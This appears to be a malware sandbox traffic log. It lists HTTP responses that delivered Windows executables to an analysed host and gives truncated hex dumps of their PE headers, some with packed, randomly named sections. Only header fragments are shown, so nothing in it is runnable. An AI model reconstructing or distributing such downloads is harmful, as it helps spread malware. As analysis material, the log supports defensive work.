Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 03 Jan 2025 14:22:00 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 03 Jan 2025 14:22:00 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 03 Jan 2025 14:22:02 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 03 Jan 2025 14:22:02 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 03 Jan 2025 14:22:05 GMTContent-Type: application/octet-streamContent-Length: 3183616Last-Modified: Fri, 03 Jan 2025 13:55:02 GMTConnection: keep-aliveETag: "6777ec36-309400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 a0 30 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 d0 30 00 00 04 00 00 46 f3 30 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 d4 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ec 80 30 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9c 80 30 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 80 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 d4 05 00 00 00 90 06 00 00 04 00 00 00 90 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 94 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 66 6a 76 6e 70 6c 68 6b 00 e0 29 00 00 b0 06 00 00 d8 29 00 00 96 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 65 74 63 65 61 66 79 00 10 00 00 00 90 30 00 00 04 00 00 00 6e 30 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 a0 30 00 00 22 00 00 00 72 30 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 03 Jan 2025 14:22:07 GMTContent-Type: application/octet-streamContent-Length: 1853952Last-Modified: Fri, 03 Jan 2025 12:34:08 GMTConnection: keep-aliveETag: "6777d940-1c4a00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 3e 1a 6f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 9e 00 00 00 8e 01 00 00 00 00 00 00 20 47 00 00 20 00 00 00 c0 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 60 47 00 00 04 00 00 7f 3b 1d 00 02 00 40 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 60 02 00 69 00 00 00 00 c0 00 00 20 8b 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 61 02 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 a0 00 00 00 20 00 00 00 4e 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 20 8b 01 00 00 c0 00 00 00 8c 01 00 00 6e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 60 02 00 00 02 00 00 00 fa 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 40 2a 00 00 80 02 00 00 02 00 00 00 fc 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 65 6d 63 62 6a 66 65 75 00 40 1a 00 00 c0 2c 00 00 24 1a 00 00 fe 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6a 68 71 7a 75 69 78 74 00 20 00 00 00 00 47 00 00 06 00 00 00 22 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 20 47 00 00 22 00 00 00 28 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 03 Jan 2025 14:22:12 GMTContent-Type: application/octet-streamContent-Length: 3185152Last-Modified: Fri, 03 Jan 2025 13:57:17 GMTConnection: keep-aliveETag: "6777ecbd-309a00"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 11 f0 76 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 48 04 00 00 ba 00 00 00 00 00 00 00 a0 30 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 d0 30 00 00 04 00 00 4f 69 31 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 59 80 05 00 6d 00 00 00 00 70 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 60 05 00 00 10 00 00 00 60 05 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 70 05 00 00 04 00 00 00 70 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 80 05 00 00 02 00 00 00 74 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 66 73 66 61 6c 6e 68 76 00 00 2b 00 00 90 05 00 00 fe 2a 00 00 76 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 73 69 6e 75 6a 6f 76 61 00 10 00 00 00 90 30 00 00 04 00 00 00 74 30 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 a0 30 00 00 22 00 00 00 78 30 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
